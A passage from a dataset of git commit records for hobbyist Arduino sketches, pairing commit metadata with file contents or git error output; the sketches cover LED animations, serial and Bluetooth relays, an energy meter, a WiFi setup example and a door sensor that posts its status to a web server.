homotica_sketch.ino","repos":"homotica\/homotica","old_file":"homotica_sketch\/homotica_sketch.ino","new_file":"homotica_sketch\/homotica_sketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/homotica\/homotica.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"14e1d7a5f30aefc0f8299dd48ff98f3ac149d755","subject":"agregado IoTDimmerLightTest.ino","message":"agregado IoTDimmerLightTest.ino\n","repos":"xaguzman\/iotcampusparty,xaguzman\/iotcampusparty","old_file":"Arduino Light Control\/IoTDimmerLightTest.ino","new_file":"Arduino Light Control\/IoTDimmerLightTest.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'Light' did not match any file(s) known to git\nerror: pathspec 'Control\/IoTDimmerLightTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0a8ef0de7016afae5b5a704f2231e67db0145154","subject":"shoot remvoed","message":"shoot remvoed\n","repos":"Team3574\/Alastair,Team3574\/RKellyBot,Team3574\/2013","old_file":"arduino code\/shoot.ino","new_file":"arduino code\/shoot.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino' did not match any file(s) known to git\nerror: pathspec 'code\/shoot.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"e2fdb6a7c6a673fb9d90f3594449059c29c443c3","subject":"today almost finished","message":"today almost finished\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration testing\/src\/main.ino","new_file":"exploration testing\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'testing\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4a678d6e65faa5f4f7b26c8d70e211348427c5e1","subject":"Program to send AT commands to GSM Module","message":"Program to send AT commands to GSM Module\n","repos":"ChaitanyaBaweja\/BlackCloud,ChaitanyaBaweja\/BlackCloud","old_file":"Arduino\/GSM\/gsmAT\/gsmAT.ino","new_file":"Arduino\/GSM\/gsmAT\/gsmAT.ino","new_contents":"\/* < Program to send AT commands to GSM Module >\n \n * Copyright (C) <2016> <Chaitanya Baweja> <http:\/\/www.gnu.org\/licenses\/>\n \n This program is free software: you can redistribute it and\/or modify\n it under the terms of the GNU Affero General Public License as published\n by the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n*\/\n\n#include <SoftwareSerial.h>\n#define RX 2 \n#define TX 3 \n\nSoftwareSerial ss = SoftwareSerial(TX, RX); \/\/initialize software serial\nchar inChar = 0;\nvoid setup() {\n \n Serial.begin(9600);\n Serial.println(\"Serial Ready\");\n ss.begin(9600);\n Serial.println(\"Software Serial Ready\");\n}\nvoid loop() {\n if (ss.available()){\n inChar = ss.read();\n Serial.write(inChar);\n delay(20);\n }\n if (Serial.available()>0){\n ss.write(Serial.read());\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/GSM\/gsmAT\/gsmAT.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"7a607400325e2e3316031f9bb722816ce189dc10","subject":"hmm background config of target is not that hard \u2026","message":"hmm background config of target is not that hard \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"GearingTest\/GearingTest.ino","new_file":"GearingTest\/GearingTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"2839ff6d5d7c9aca60d314125126dbb9ac98d153","subject":"add battery version","message":"add battery version\n","repos":"rriggio\/energino,rriggio\/energino,rriggio\/energino,rriggio\/energino","old_file":"sketches\/EnerginoBattery\/EnerginoBattery.ino","new_file":"sketches\/EnerginoBattery\/EnerginoBattery.ino","new_contents":"\/*\n * Energino\n *\n * Energino is a energy consumption meter for DC loads (win average).\n *\n * Circuit:\n * Analog inputs attached to pins A0 (Current), A1 (Voltage)\n * Digital output attached to pin D2 (Relay)\n *\n * Supported commands from the serial:\n * #P<integer>, sets the period between two updates (in ms) [default is 2000]\n * #S<0\/1>, sets the relay configuration, 0 load on, 1 load off [default is 0]\n * #A<integer>, sets the value in ohms of the R1 resistor [default is 100000]\n * #B<integer>, sets the value in ohms of the R2 resistor [default is 10000]\n * #C<integer>, sets the current sensor offset in mV [default is 2500]\n * #D<integer>, sets the current sensor sensitivity in mV [default is 185]\n * #R, reset the configuration to the defaults\n * #T, self-tune the current sensor offset (use with no load attached)\n * #Z, print settings\n *\n * Serial putput:\n * #Energino,0,<voltage>,<current>,<power>,<relay>,<period>,<samples>,<voltage_error>,<current_error>\n *\n * created 31 October 2012\n * by Roberto Riggio\n *\n * This code is released under the BSD Licence\n *\n *\/\n\n#include <energino.h>\n\n#define RELAYPIN 2\n#define CURRENTPIN A0\n#define VOLTAGEPIN A1\n\n\/\/ Energino parameters\nint R1 = 100;\nint R2 = 10;\nint OFFSET = 2500;\nint SENSITIVITY = 185;\nint PERIOD = 2000;\n\n\/\/ Running averages\nlong VRaw = 0;\nlong IRaw = 0;\nlong samples = 0;\n\n\/\/ magic string\nconst char MAGIC[] = \"Energino\";\nconst int REVISION = 1;\n\nvoid reset() {\n strcpy (settings.magic, MAGIC);\n settings.revision = REVISION;\n settings.period = PERIOD;\n settings.r1 = R1;\n settings.r2 = R2;\n settings.offset = OFFSET;\n settings.sensitivity = SENSITIVITY;\n settings.relaypin = RELAYPIN;\n settings.currentpin = CURRENTPIN;\n settings.voltagepin = VOLTAGEPIN;\n}\n\nvoid setup() {\n \/\/ Set serial port\n Serial.begin(115200);\n \/\/ Loading setting\n loadSettings();\n if (strcmp(settings.magic, MAGIC) != 0) {\n reset();\n saveSettings();\n }\n \/\/ Default on\n pinMode(settings.relaypin,OUTPUT);\n digitalWrite(settings.relaypin, LOW);\n \/\/ Use the led 13 to notify that the\n \/\/ setup completed\n pinMode(13,OUTPUT);\n digitalWrite(13, HIGH);\n \/\/ Set last update to now\n lastUpdated = millis();\n}\n\nvoid loop() {\n \/\/ Parse incoming commands\n serParseCommand();\n \/\/ accumulate readings\n VRaw += analogRead(VOLTAGEPIN);\n IRaw += analogRead(CURRENTPIN);\n samples++;\n if (lastUpdated + settings.period <= millis()) {\n \/\/ Conversion\n VFinal = double(VRaw) \/ samples;\n IFinal = double(IRaw) \/ samples;\n lastSamples = samples;\n \/\/ dump to serial\n dumpToSerialBatt();\n \/\/ reset counters\n VRaw = 0;\n IRaw = 0;\n samples = 0;\n lastUpdated = millis();\n }\n}\n\nint MAX_V_BATT = 12;\nint MIN_V_BATT = 10;\n\ndouble a = 1 \/ double(MAX_V_BATT - MIN_V_BATT);\ndouble b = 1 - a * MAX_V_BATT;\n\n\/\/ coumpute battery percentage\ndouble getBattery(double VFinal) {\n if (VFinal > MAX_V_BATT) {\n return 1.0;\n }\n if (VFinal < MIN_V_BATT) {\n return 0.0;\n }\n return a * VFinal - b;\n}\n\n\/\/ dump current readings to serial\nvoid dumpToSerialBatt() {\n \/\/ Print data also on the serial\n Serial.print(\"#\");\n Serial.print(settings.magic);\n Serial.print(\",\");\n Serial.print(settings.revision);\n Serial.print(\",\");\n Serial.print(getAvgVoltage(VFinal), V_DIGITS);\n Serial.print(\",\");\n Serial.print(getAvgCurrent(IFinal), C_DIGITS);\n Serial.print(\",\");\n Serial.print(getAvgPower(VFinal, IFinal), P_DIGITS);\n Serial.print(\",\");\n Serial.print(digitalRead(settings.relaypin));\n Serial.print(\",\");\n Serial.print(settings.period);\n Serial.print(\",\");\n Serial.print(lastSamples);\n Serial.print(\",\");\n Serial.print(getVError());\n Serial.print(\",\");\n Serial.print(getIError());\n Serial.print(\",\");\n Serial.print(getBattery(VFinal), 2);\n Serial.print(\"\\n\");\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketches\/EnerginoBattery\/EnerginoBattery.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"de323f3b8a22036a2980e12317747a6d228db1cf","subject":"add arduino sketch","message":"add arduino sketch\n","repos":"bart02\/BlueArmCPC","old_file":"Arduino Sketch\/BlueArmCPC\/BlueArmCPC.ino","new_file":"Arduino Sketch\/BlueArmCPC\/BlueArmCPC.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'Sketch\/BlueArmCPC\/BlueArmCPC.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6108c02943055d4c2a5cd6c5200160dff2e5da0d","subject":"Init of program. LED swiping only..","message":"Init of program. LED swiping only..\n","repos":"HackBergen\/SparkCore","old_file":"verkstedskilt.ino","new_file":"verkstedskilt.ino","new_contents":"\/*-------------------------------------------------------------------------\n Spark Core library to control WS2811\/WS2812 based RGB\n LED devices such as Adafruit NeoPixel strips.\n Currently handles 800 KHz and 400kHz bitstream on Spark Core, \n WS2812, WS2812B and WS2811.\n\n Also supports:\n - Radio Shack Tri-Color Strip with TM1803 controller 400kHz bitstream.\n - TM1829 pixels\n \n PLEASE NOTE that the NeoPixels require 5V level inputs \n and the Spark Core only has 3.3V level outputs. Level shifting is\n necessary, but will require a fast device such as one of the following:\n\n [SN74HCT125N]\n http:\/\/www.digikey.com\/product-detail\/en\/SN74HCT125N\/296-8386-5-ND\/376860\n\n [SN74HCT245N] \n http:\/\/www.digikey.com\/product-detail\/en\/SN74HCT245N\/296-1612-5-ND\/277258\n\n Written by Phil Burgess \/ Paint Your Dragon for Adafruit Industries.\n Modified to work with Spark Core by Technobly.\n Contributions by PJRC and other members of the open source community.\n\n Adafruit invests time and resources providing this open source code,\n please support Adafruit and open-source hardware by purchasing products\n from Adafruit!\n --------------------------------------------------------------------*\/\n\n\/* ======================= includes ================================= *\/\n\n#include \"application.h\"\n\/\/#include \"spark_disable_wlan.h\" (for faster local debugging only)\n#include \"neopixel\/neopixel.h\"\n\n\/* ======================= prototypes =============================== *\/\n\nvoid colorAll(uint32_t c, uint8_t wait);\nvoid colorWipe(uint32_t c, uint8_t wait);\nvoid rainbow(uint8_t wait);\nvoid rainbowCycle(uint8_t wait);\nuint32_t Wheel(byte WheelPos);\n\n\/* ======================= extra-examples.cpp ======================== *\/\n\n\/\/ IMPORTANT: Set pixel COUNT, PIN and TYPE\n#define PIXEL_COUNT 10\n#define PIXEL_PIN A7\n#define PIXEL_TYPE WS2812B\n\n\/\/ Parameter 1 = number of pixels in strip\n\/\/ Parameter 2 = pin number (most are valid)\n\/\/ note: if not specified, D2 is selected for you.\n\/\/ Parameter 3 = pixel type [ WS2812, WS2812B, WS2811, TM1803 ]\n\/\/ note: if not specified, WS2812B is selected for you.\n\/\/ note: RGB order is automatically applied to WS2811,\n\/\/ WS2812\/WS2812B\/TM1803 is GRB order.\n\/\/\n\/\/ 800 KHz bitstream 800 KHz bitstream (most NeoPixel products ...\n\/\/ ... WS2812 (6-pin part)\/WS2812B (4-pin part) )\n\/\/\n\/\/ 400 KHz bitstream (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)\n\/\/ (Radio Shack Tri-Color LED Strip - TM1803 driver\n\/\/ NOTE: RS Tri-Color LED's are grouped in sets of 3)\n\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(PIXEL_COUNT, PIXEL_PIN, PIXEL_TYPE);\n\n\/\/ IMPORTANT: To reduce NeoPixel burnout risk, add 1000 uF capacitor across\n\/\/ pixel power leads, add 300 - 500 Ohm resistor on first pixel's data input\n\/\/ and minimize distance between Arduino and first pixel. Avoid connecting\n\/\/ on a live circuit...if you must, connect GND first.\n\nvoid setup() {\n strip.begin();\n strip.show(); \/\/ Initialize all pixels to 'off'\n}\n\nvoid loop() {\n \/\/ Some example procedures showing how to display to the pixels:\n \/\/ Do not run more than one of these at a time, or the b\/g tasks \n \/\/ will be blocked.\n \/\/--------------------------------------------------------------\n \n pixelSwipeRandom(strip.Color(0, 0, 10),strip.Color(15, 10, 0), 20);\n\n \/\/pixelWipe(strip.Color(0, 0, 0),strip.Color(0, 0, 15), 50); \/\/ Red\n \/\/pixelWipeReverse(strip.Color(0, 0, 0),strip.Color(0, 0, 15), 50); \n \/\/colorWipe(strip.Color(255, 0, 0), 50); \/\/ Red\n \n \/\/colorWipe(strip.Color(20, 25, 0), 50); \/\/ Green\n \n \/\/colorWipe(strip.Color(0, 0, 25), 50); \/\/ Blue\n \n \/\/rainbow(20);\n \n \/\/rainbowCycle(20);\n \n \/\/colorAll(strip.Color(0, 255, 255), 50); \/\/ Magenta\n}\n\nvoid pixelSwipeRandom(uint32_t c, uint32_t b, uint8_t wait) {\n pixelWipe(c, b, wait); \/\/ Red\n clearAll(b);\n strip.show();\n delay(random(100,10000));\n pixelWipeReverse(c,b, wait); \n clearAll(b);\n strip.show();\n delay(random(100,10000));\n}\n\/\/ Set all pixels in the strip to a solid color, then wait (ms)\nvoid colorAll(uint32_t c, uint8_t wait) {\n uint16_t i;\n \n for(i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, c);\n }\n strip.show();\n delay(wait);\n}\n\n\/\/ Fill the dots one after the other with a color, wait (ms) after each one\nvoid colorWipe(uint32_t c, uint8_t wait) {\n for(uint16_t i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, c);\n strip.show();\n delay(wait);\n }\n}\n\nvoid pixelWipe(uint32_t c, uint32_t b, uint8_t wait) {\n for(uint16_t i=0; i<strip.numPixels(); i++) {\n clearAll(b);\n strip.setPixelColor(i, c);\n strip.show();\n delay(wait);\n\n }\n}\n\nvoid pixelWipeReverse(uint32_t c, uint32_t b, uint8_t wait) {\n for(int16_t i=strip.numPixels() -1; i>=0; i--) {\n clearAll(b);\n strip.setPixelColor(i, c);\n strip.show();\n delay(wait);\n }\n}\n\nvoid clearAll(uint32_t b) {\n for(uint16_t t=0; t<strip.numPixels(); t++) {\n strip.setPixelColor(t, b);\n }\n}\n\nvoid rainbow(uint8_t wait) {\n uint16_t i, j;\n\n for(j=0; j<256; j++) {\n for(i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel((i+j) & 255));\n }\n strip.show();\n delay(wait);\n }\n}\n\n\/\/ Slightly different, this makes the rainbow equally distributed throughout, then wait (ms)\nvoid rainbowCycle(uint8_t wait) {\n uint16_t i, j;\n\n for(j=0; j<256; j++) { \/\/ 1 cycle of all colors on wheel\n for(i=0; i< strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel(((i * 256 \/ strip.numPixels()) + j) & 255));\n }\n strip.show();\n delay(wait);\n }\n}\n\n\n\/\/ Input a value 0 to 255 to get a color value.\n\/\/ The colours are a transition r - g - b - back to r.\nuint32_t Wheel(byte WheelPos) {\n if(WheelPos < 85) {\n return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);\n } else if(WheelPos < 170) {\n WheelPos -= 85;\n return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);\n } else {\n WheelPos -= 170;\n return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'verkstedskilt.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"228e614a0a2c5109ffca7cb93a92a2887e8b047e","subject":"Create bargraph24.ino","message":"Create bargraph24.ino","repos":"therrewi\/Spark_Adafruit_LEDBackpack,beefbowl\/Spark_Adafruit_LEDBackpack,creationix\/spark-adafruit-led-backpack,PEstes\/spark-adafruit-led-backpack,epec254\/BCG_LED_Library","old_file":"firmware\/examples\/bargraph24\/bargraph24.ino","new_file":"firmware\/examples\/bargraph24\/bargraph24.ino","new_contents":"\/*************************************************** \n This is a library for our I2C LED Backpacks\n\n Designed specifically to work with the Adafruit LED 24 Bargraph Backpack\n ----> http:\/\/www.adafruit.com\/products\/721\n\n These displays use I2C to communicate, 2 pins are required to \n interface. There are multiple selectable I2C addresses. For backpacks\n with 2 Address Select pins: 0x70, 0x71, 0x72 or 0x73. For backpacks\n with 3 Address Select pins: 0x70 thru 0x77\n\n Adafruit invests time and resources providing this open source code, \n please support Adafruit and open-source hardware by purchasing \n products from Adafruit!\n\n Written by Limor Fried\/Ladyada for Adafruit Industries. \n BSD license, all text above must be included in any redistribution\n ****************************************************\/\n\n#include <Wire.h>\n#include \"Adafruit_LEDBackpack.h\"\n#include \"Adafruit_GFX.h\"\n\nAdafruit_24bargraph bar = Adafruit_24bargraph();\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"HT16K33 Bi-Color Bargraph test\");\n \n bar.begin(0x70); \/\/ pass in the address\n\n for (uint8_t b=0; b<24; b++ ){\n if ((b % 3) == 0) bar.setBar(b, LED_RED);\n if ((b % 3) == 1) bar.setBar(b, LED_YELLOW);\n if ((b % 3) == 2) bar.setBar(b, LED_GREEN);\n }\n bar.writeDisplay();\n delay(2000);\n}\n\n\nvoid loop() {\n for (uint8_t b=0; b<24; b++) {\n bar.setBar(b, LED_RED);\n bar.writeDisplay();\n delay(50);\n bar.setBar(b, LED_OFF);\n bar.writeDisplay();\n }\n for (uint8_t b=0; b<24; b++) {\n bar.setBar(b, LED_GREEN);\n bar.writeDisplay();\n delay(50);\n bar.setBar(b, LED_OFF);\n bar.writeDisplay();\n }\n\n for (uint8_t b=0; b<24; b++) {\n bar.setBar(23-b, LED_YELLOW);\n bar.writeDisplay();\n delay(50);\n bar.setBar(23-b, LED_OFF);\n bar.writeDisplay();\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/examples\/bargraph24\/bargraph24.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c1d8249b10aaff1c2546a0e1f345f14e361ed91b","subject":"Added support for additional parameters","message":"Added support for additional parameters\n","repos":"tzapu\/WiFiManager,tablatronix\/WiFiManager,tzapu\/WiFiManager,tablatronix\/WiFiManager,alexkirill\/WiFiManager,tablatronix\/WiFiManager,javl\/WiFiManager,javl\/WiFiManager,tzapu\/WiFiManager,tablatronix\/WiFiManager,tzapu\/WiFiManager,javl\/WiFiManager,alexkirill\/WiFiManager,alexkirill\/WiFiManager,tablatronix\/WiFiManager,tzapu\/WiFiManager","old_file":"examples\/AutoConnectParametersWithTimeout\/AutoConnectParametersWithTimeout.ino","new_file":"examples\/AutoConnectParametersWithTimeout\/AutoConnectParametersWithTimeout.ino","new_contents":"#include <ESP8266WiFi.h> \/\/https:\/\/github.com\/esp8266\/Arduino\n\n\/\/needed for library\n#include <DNSServer.h>\n#include <ESP8266WebServer.h>\n#include <WiFiManager.h> \/\/https:\/\/github.com\/tzapu\/WiFiManager\n\n\n\/\/ The extra parameters to be configured (can be either global or just in the setup)\nWiFiManagerParameter mqtt_server(\"server\", \"mqtt server\", NULL, 40);\nWiFiManagerParameter mqtt_port(\"port\", \"mqtt port\", \"8080\", 8);\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(115200);\n \n \/\/WiFiManager\n \/\/Local intialization. Once its business is done, there is no need to keep it around\n WiFiManager wifiManager;\n\n \/\/add all your parameters here\n wifiManager.addParameter(&mqtt_server);\n wifiManager.addParameter(&mqtt_port);\n \n \/\/reset settings - for testing\n wifiManager.resetSettings();\n\n \/\/sets timeout until configuration portal gets turned off\n \/\/useful to make it all retry or go to sleep\n \/\/in seconds\n wifiManager.setTimeout(180);\n \n \/\/fetches ssid and pass and tries to connect\n \/\/if it does not connect it starts an access point with the specified name\n \/\/here \"AutoConnectAP\"\n \/\/and goes into a blocking loop awaiting configuration\n if(!wifiManager.autoConnect(\"AutoConnectAP\")) {\n Serial.println(\"failed to connect and hit timeout\");\n delay(3000);\n \/\/reset and try again, or maybe put it to deep sleep\n ESP.reset();\n delay(5000);\n } \n\n \/\/if you get here you have connected to the WiFi\n Serial.println(\"connected...yeey :)\");\n\n \/\/ use your parameter values as needed\n Serial.print(mqtt_server.getPlaceholder());\n Serial.print(\": \");\n Serial.println(mqtt_server.getValue());\n\n Serial.print(mqtt_port.getPlaceholder());\n Serial.print(\": \");\n Serial.println(mqtt_port.getValue());\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/AutoConnectParametersWithTimeout\/AutoConnectParametersWithTimeout.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a6fd6bf879e6460b67ae884098198deb57ace640","subject":"indoor firmware","message":"indoor firmware\n","repos":"tony-rasskazov\/meteo,tony-rasskazov\/meteo,tony-rasskazov\/meteo","old_file":"indoor-firm\/indoor-firm.ino","new_file":"indoor-firm\/indoor-firm.ino","new_contents":"\n\/* \n CONNECTIONS:\n - GND\n - Pin 2 to HC-05 TXD\n - Pin 3 to HC-05 RXD\n - 3.3v to HC-05 Vcc \n - GND\n *\/\n\n#include <SoftwareSerial.h> \n\n#define HC_05_TXD_ARDUINO_RXD 2\n#define HC_05_RXD_ARDUINO_TXD 3\n\nSoftwareSerial BTSerial(HC_05_TXD_ARDUINO_RXD, HC_05_RXD_ARDUINO_TXD);\n\nvoid setup()\n{\n\n Serial.begin(9600); \n BTSerial.begin(38400);\n}\n\nvoid loop()\n{\n int btIn = -1;\n if (BTSerial.available() && (btIn = BTSerial.read()) ) {\n Serial.write(btIn);\n }\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'indoor-firm\/indoor-firm.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1319454bad840b8fe6f7dd74abf3fd786bb85696","subject":"Added sensor arduino code","message":"Added sensor arduino code\n","repos":"dolumese\/hmcMailroom,dolumese\/hmcMailroom","old_file":"arduino\/sensor.ino","new_file":"arduino\/sensor.ino","new_contents":"#include <ESP8266HTTPClient.h>\r\n#include <ESP8266WiFi.h>\r\n#include <ArduinoJson.h>\r\n\r\n#define MIN2MS 60*1000 \/\/ 1000 ms -> 1 sec; 60 sec -> 1 min\r\n#define POSTRATE 5*MIN2MS \/\/ POST to server every timestep\r\n#define BUFFERSIZE 50 \/\/ JSON Buffer size\r\n#define IN_PIN 5\r\n#define OUT_PIN 12\r\n\r\nint sensorStatus, httpCode;\r\nchar JSONmessageBuffer[BUFFERSIZE];\r\n\r\nvoid setup() {\r\n Serial.begin(115200); \/\/ Serial connection\r\n \r\n pinMode(IN_PIN, INPUT_PULLUP);\r\n pinMode(OUT_PIN, OUTPUT);\r\n\r\n digitalWrite(OUT_PIN, HIGH);\r\n \r\n WiFi.begin(\"CINE\", \"\"); \/\/ WiFi connection\r\n \r\n while (WiFi.status() != WL_CONNECTED) { \/\/ Wait for the WiFI connection completion\r\n delay(500);\r\n Serial.println(\"Waiting for connection...\");\r\n }\r\n}\r\n \r\nvoid loop() {\r\n if (WiFi.status() == WL_CONNECTED) { \/\/ Connected to WIFI?\r\n sensorStatus = digitalRead(IN_PIN);\r\n \r\n StaticJsonBuffer<BUFFERSIZE> JSONbuffer; \/\/ Declaring static JSON buffer\r\n JsonObject& JSONencoder = JSONbuffer.createObject(); \r\n \r\n JSONencoder[\"doorStatus\"] = sensorStatus; \/\/ read from the sensor; is the door open or closed?\r\n \r\n JSONencoder.prettyPrintTo(JSONmessageBuffer, sizeof(JSONmessageBuffer));\r\n \r\n Serial.println(JSONmessageBuffer); \r\n \r\n HTTPClient http; \/\/ Declare object of class HTTPClient\r\n \r\n http.begin(\"http:\/\/hmcmailroom.pythonanywhere.com\/\"); \/\/ Specify request destination\r\n http.addHeader(\"Content-Type\", \"application\/json\"); \/\/ Specify content-type header\r\n \r\n httpCode = http.POST(JSONmessageBuffer); \/\/ Send the request \r\n String payload = http.getString(); \/\/Get the response payload\r\n \r\n Serial.println(httpCode); \/\/Print HTTP return code\r\n Serial.println(payload); \/\/Print request response payload\r\n \r\n http.end(); \/\/ Close connection\r\n } else {\r\n Serial.println(\"Error in WiFi connection\");\r\n }\r\n \r\n delay(POSTRATE); \r\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/sensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4125bfc8319566ffaf1df88488200001d9b124b5","subject":"u8g2 hello","message":"u8g2 hello\n","repos":"ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook","old_file":"oled\/u8g2_HelloWorld\/u8g2_HelloWorld.ino","new_file":"oled\/u8g2_HelloWorld\/u8g2_HelloWorld.ino","new_contents":"\/*\n\n HelloWorld.ino\n\n Universal 8bit Graphics Library (https:\/\/github.com\/olikraus\/u8g2\/)\n\n Copyright (c) 2016, olikraus@gmail.com\n All rights reserved.\n\n Redistribution and use in source and binary forms, with or without modification, \n are permitted provided that the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice, this list \n of conditions and the following disclaimer.\n \n * Redistributions in binary form must reproduce the above copyright notice, this \n list of conditions and the following disclaimer in the documentation and\/or other \n materials provided with the distribution.\n\n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \n\n*\/\n\n#include <Arduino.h>\n#include <U8g2lib.h>\n\n#ifdef U8X8_HAVE_HW_SPI\n#include <SPI.h>\n#endif\n#ifdef U8X8_HAVE_HW_I2C\n#include <Wire.h>\n#endif\n\n\/*\n U8glib Example Overview:\n Frame Buffer Examples: clearBuffer\/sendBuffer. Fast, but may not work with all Arduino boards because of RAM consumption\n Page Buffer Examples: firstPage\/nextPage. Less RAM usage, should work with all Arduino boards.\n U8x8 Text Only Example: No RAM usage, direct communication with display controller. No graphics, 8x8 Text only.\n \n*\/\n\n\/\/ Please UNCOMMENT one of the contructor lines below\n\/\/ U8g2 Contructor List (Frame Buffer)\n\/\/ The complete list is available here: https:\/\/github.com\/olikraus\/u8g2\/wiki\/u8g2setupcpp\n\/\/ Please update the pin numbers according to your setup. Use U8X8_PIN_NONE if the reset pin is not connected\n\/\/U8G2_SSD1306_128X64_NONAME_F_4W_SW_SPI u8g2(U8G2_R0, \/* clock=*\/ 13, \/* data=*\/ 11, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8);\n\/\/U8G2_SSD1306_128X64_NONAME_F_4W_HW_SPI u8g2(U8G2_R0, \/* cs=*\/ 12, \/* dc=*\/ 4, \/* reset=*\/ 6);\t\/\/ Arduboy (Production, Kickstarter Edition)\n\/\/U8G2_SSD1306_128X64_NONAME_F_4W_HW_SPI u8g2(U8G2_R0, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8);\n\/\/U8G2_SSD1306_128X64_NONAME_F_3W_SW_SPI u8g2(U8G2_R0, \/* clock=*\/ 13, \/* data=*\/ 11, \/* cs=*\/ 10, \/* reset=*\/ 8);\nU8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(U8G2_R0, \/* reset=*\/ U8X8_PIN_NONE);\n\/\/U8G2_SSD1306_128X64_NONAME_F_SW_I2C u8g2(U8G2_R0, \/* clock=*\/ 13, \/* data=*\/ 11, \/* reset=*\/ 8);\n\/\/U8G2_SSD1306_128X64_NONAME_F_SW_I2C u8g2(U8G2_R0, \/* clock=*\/ SCL, \/* data=*\/ SDA, \/* reset=*\/ U8X8_PIN_NONE); \/\/ All Boards without Reset of the Display\n\/\/U8G2_SSD1306_128X64_NONAME_F_6800 u8g2(U8G2_R0, 13, 11, 2, 3, 4, 5, 6, A4, \/*enable=*\/ 7, \/*cs=*\/ 10, \/*dc=*\/ 9, \/*reset=*\/ 8);\n\/\/U8G2_SSD1306_128X64_NONAME_F_8080 u8g2(U8G2_R0, 13, 11, 2, 3, 4, 5, 6, A4, \/*enable=*\/ 7, \/*cs=*\/ 10, \/*dc=*\/ 9, \/*reset=*\/ 8);\n\/\/U8G2_SSD1306_128X64_VCOMH0_F_4W_HW_SPI u8g2(U8G2_R0, \/* cs=*\/ 10, \/* dc=*\/ 9, \/* reset=*\/ 8);\t\/\/ same as the NONAME variant, but maximizes setContrast() 